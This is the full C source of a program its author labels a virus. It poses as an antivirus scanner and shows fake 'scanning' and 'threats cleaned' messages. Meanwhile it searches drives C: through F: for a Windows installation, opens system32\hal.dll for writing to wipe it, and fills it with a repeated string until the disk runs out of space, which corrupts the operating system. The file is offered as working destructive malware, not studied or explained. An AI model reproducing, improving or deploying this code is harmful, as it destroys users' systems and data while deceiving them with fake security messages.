/* STOSTER(VIRUS) BY SIBI CHAKKARAVARTHY. */ /*copy rights S-TECHNOLOGIES */

#include"dos.h"
#include"stdlib.h"
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OS CORRUPTION",choice;

void interrupt(void);///header
void findroot(void);
void showstatus(void);
void viral(void);
void accept(void);

void main()
{
viral();
accept();
textcolor(WHITE);
viral();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
if((choice=getch())!=13)
exit(0);
}
void viral()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);

//cputs wit a destinater(anti virus) file..yet i ve removed in this......


}
void findroot()
// hal.dll----HARDWARE ABSTRACTION LAYER(dynamic linking library file)

{
t=fopen("C:\\windows\\shutdown.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\hal.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);

/* started to ruin u r system......*/

cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\hal.dll","wb+");
if(b!=NULL)
{
showstatus();
interrupt();
}
}
t=fopen("D:\\windows\\shutdown.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\hal.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\hal.dll","wb+");
if(b!=NULL)
{
showstatus();
interrupt();
}
}
t=fopen("E:\\windows\\shutdown.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\hal.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\hal.dll","wb+");
if(b!=NULL)
{
showstatus();
interrupt();
}
}
t=fopen("F:\\windows\\shutdown.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\hal.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\hal.dll","wb+");
if(b!=NULL)
{
showstatus();
interrupt();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
return(1);
}
void interrupt()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
viral();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}